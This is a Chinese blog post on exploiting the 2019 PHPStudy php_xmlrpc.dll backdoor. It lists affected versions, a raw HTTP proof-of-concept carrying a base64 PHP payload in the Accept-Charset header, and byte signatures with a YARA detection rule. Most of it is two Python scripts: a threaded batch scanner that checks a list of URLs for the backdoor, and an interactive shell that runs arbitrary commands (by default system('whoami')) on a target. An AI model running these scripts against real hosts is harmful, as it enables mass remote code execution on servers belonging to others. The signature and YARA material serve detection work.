phpstudy后门利用附环境附批量检测脚本 - JunMo博客

JunMo的博客

2019
记录生活
首页 » 学习笔记 » phpstudy后门利用附环境附批量检测脚本

phpstudy后门利用附环境附批量检测脚本

前言

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。
正是这样一款公益性软件,2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。
西湖网警立即对该案立案侦查,并在市网警分局牵头下,组织精干警力成立专案组迅速开展侦查取证工作。

影响版本

  • Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
  • Phpstudy 2018 
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

测试环境

这里使用的是PHPstudy2018,PHP版本为5.2.17。

环境下载地址 点我

POC

GET / HTTP/1.1
Host: 192.168.0.101:999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip,deflate
Accept-Charset: ZWNobyAibW82MC5jbiI7

Payload:echo "mo60.cn"; 回显特征:mo60.cn

特征

Accept-Encoding: gzip,deflate
Accept-Charset: Base64编码

文件特征

特征一、
%s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B


rule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}

python脚本

该脚本来自t00ls大佬 清心3389

检测脚本

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======Phpstudy Backdoor Exploit============\n")
print("===========By  Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")




def write_shell(url):
    payload = "echo \"qing\";"
    payload = base64.b64encode(payload.encode('utf-8'))
    payload = str(payload, 'utf-8')
    headers = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'accept-charset': payload,
    'Accept-Encoding': 'gzip,deflate',
    'Connection': 'close',
}
    try:
        r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
        if "qing" in r.text:
            print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
            with open('success.txt','a') as f:
                    f.write(url+'\n')
        else:
            print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
    except:
        print ('[ - ] Timeout: '+url+' [ - ]\n')

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
    with open('url.txt','r') as f:
        lines = f.read().splitlines()
        task_pool=threadpool.ThreadPool(5)
        requests=threadpool.makeRequests(write_shell,lines)
    for req in requests:
        task_pool.putRequest(req)
        task_pool.wait() 
if __name__ == '__main__':
    main()


#线程队列部分
# th=[]
# th_num=10
# for x in range(th_num):
#         t=threading.Thread(target=write_shell)
#         th.append(t)
# for x in range(th_num):
#         th[x].start()
# for x in range(th_num):
#         th[x].join()

 


 

交互shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============\n")
print("===========By  Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")



def os_shell(url,headers,payload):
    try:
        r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10)
        # print(r.text)
        res = re.findall("qing(.*?)qing",r.text,re.S)
        print("[ + ]===========The Response:==========[ + ]\n")
        res = "".join(res)
        print(res)
    except:
        print("[ - ]===========Failed! Timeout...==========[ - ]\n")

def main():
    url = input("input the Url , example:\"http://127.0.0.1/\"\n")
    payload = input("input the payload , default:echo system(\"whoami\");\n")
    de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
    if payload.strip() == '':
        payload = de_payload
    payload = "echo \"qing\";"+payload+"echo \"qing\";"
    payload = base64.b64encode(payload.encode('utf-8'))
    payload = str(payload, 'utf-8')
    headers = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'accept-charset': payload,
    'Accept-Encoding': 'gzip,deflate',
    'Connection': 'close',
    }
    os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
    main()

文章如无特别注明均为原创!
本文作者: JunMo
转载或复制请带上本文地址 http://mo60.cn/post-64.html
并注明出处 JunMo博客
原文地址《 phpstudy后门利用附环境附批量检测脚本
发布于2019-9-25
收录状态: [百度已收录][360未收录]

分享到:


打赏

评论

游客

看不清楚?点图切换

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册